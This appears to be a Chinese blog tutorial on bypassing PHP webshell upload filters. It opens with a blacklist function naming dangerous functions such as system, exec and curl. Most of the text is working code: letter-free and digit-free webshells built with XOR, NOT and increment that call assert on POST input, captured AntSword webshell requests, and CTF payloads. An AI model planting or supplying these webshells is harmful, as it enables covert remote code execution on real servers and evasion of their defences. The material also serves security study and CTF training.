利用异或、取反、自增bypass_webshell_waf

目录

引言

利用异或

介绍

eval与assert

蚁剑连接

进阶题目

利用取反

利用自增


引言

有这样一个waf用于防御我们上传的文件:

function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
 
    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }
 
    
    return False;
}

过滤了很多命令,比如$_,这里的$_、^、~、等就是今天我们bypas_webshell_waf的几个技巧

利用异或

介绍

举一个例子:我们可以构造出下面的一个形式的代码:

利用异或、取反、自增bypass_webshell_waf_第1张图片

可以看到这里的结果是!

之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。

上面这个例子中:

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是 0110 0000

根据异或运算符的规则:相同为0,不同为1,我们可以计算出异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是!了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作,如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

利用异或、取反、自增bypass_webshell_waf_第2张图片

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();

通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。

注:在PHP中,我们可以将字符串当作函数来处理。

那么我们是不是就可以利用这种方式尝试构造出一个无字母,数字的webshell后门呢?

比如可以构造这样一段代码:

eval与assert

我们可以在浏览器访问一下:

先给0传入一个eval,然后给1传入phpinfo();看是否可以解析

利用异或、取反、自增bypass_webshell_waf_第3张图片

很明显这里没有解析

试着将eval修改为assert再尝试:
利用异或、取反、自增bypass_webshell_waf_第4张图片

这里就解析成功,那为什么eval不能执行,但是assert可以执行呢?

答案就是因为:

  • 因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

  • 而我们使用assert则可以成功,因为assert在php中被认为是一个函数

蚁剑连接

既然使用assert可以正常执行,那么来试试是否可以利用蚁剑来进行连接:

利用异或、取反、自增bypass_webshell_waf_第5张图片

利用异或、取反、自增bypass_webshell_waf_第6张图片

但是我们测试连接时却爆出了返回数据为空的警告

1提交的$POST['nanjing'],我们本意是为了执行assert($POST['nanjing'])

而我们中国蚁剑也同时post了nanjing这个数据为%40ini_set之类的数据,而我们又必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数)

 那我们可以尝试抓包访问一下:

这是抓包内容,执行的是我们的字符串,所以执行失败

POST /test6.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1050
Connection: close
​
0=assert&1=%24_POST%5B'nanjing'%5D&nanjing=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22c93609%22.%22c3f3a1%22%3Becho%20%40asenc(%24output)%3Becho%20%2250b55%22.%220267c%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

那我们直接在密码处输入0=assert&1试着连接一下:

利用异或、取反、自增bypass_webshell_waf_第7张图片

为什么我们直接在蚁剑密码处输入0=assert&1,不进行编码的时候,还是会执行失败呢,原因和上文一致

0=assert&1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%220501%22.%2286a5%22%3Becho%20%40asenc(%24output)%3Becho%20%22bb%22.%220bf%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

那我们再尝试使用编码连接一下: 

利用异或、取反、自增bypass_webshell_waf_第8张图片

为什么我们执行了base64又成功了链接了呢

因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。

  • assert('adsadasdsadasdasdsa') 里面只有字符串
  • assert(eval(base64dddddd)); 里面有eval函数

其本质还是assert(eval()),所以还是可以执行

进阶题目

现在如果有这样一道题目:

1.php

50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
?>

2.php:

我们可以构造出这样一个payload:

payload:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

尝试在浏览器中访问一下:
利用异或、取反、自增bypass_webshell_waf_第9张图片

可以看到成功的访问了

利用取反

上面的题目我们也可以利取反来进行绕过:

我们可以看一下getFlag的~(取反)的结果是什么

 利用异或、取反、自增bypass_webshell_waf_第10张图片

利用这种方法绕过:

payload2:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

利用异或、取反、自增bypass_webshell_waf_第11张图片

 可以看到这里也成功了!

还可以这样利用取反:

$____='';
$___="瞰";
$____.=~($___{$_});  //a
$___="和";
$____.=~($___{$__});  //s
$___="和";
$____.=~($___{$__});  //s
$___="的";
$____.=~($___{$_});   //e
$___="半";
$____.=~($___{$_});   //r
$___="始";
$____.=~($___{$__});  //t
echo $____;
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

echo $_____;

利用异或、取反、自增bypass_webshell_waf_第12张图片

可以看到最后的打印结果是:assert_POST,如果我们传入这样的webshell,就可以实现无字母,数字实现webshell了 

利用自增

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。

例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。

注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

可以使用这样的方式取出Array[0]

以上代码可以取出Array的第一个字符'A'

然后再构造出ASSERT

$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

然后再构造出POST

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

最后组合在一起:

我们可以在浏览器中测试一下:
利用异或、取反、自增bypass_webshell_waf_第13张图片

可以看到我们给_中传入phpinfo可以成功的执行! 

你可能感兴趣的:(安全,PHP,android,nginx,运维,网络,web安全,linux,安全)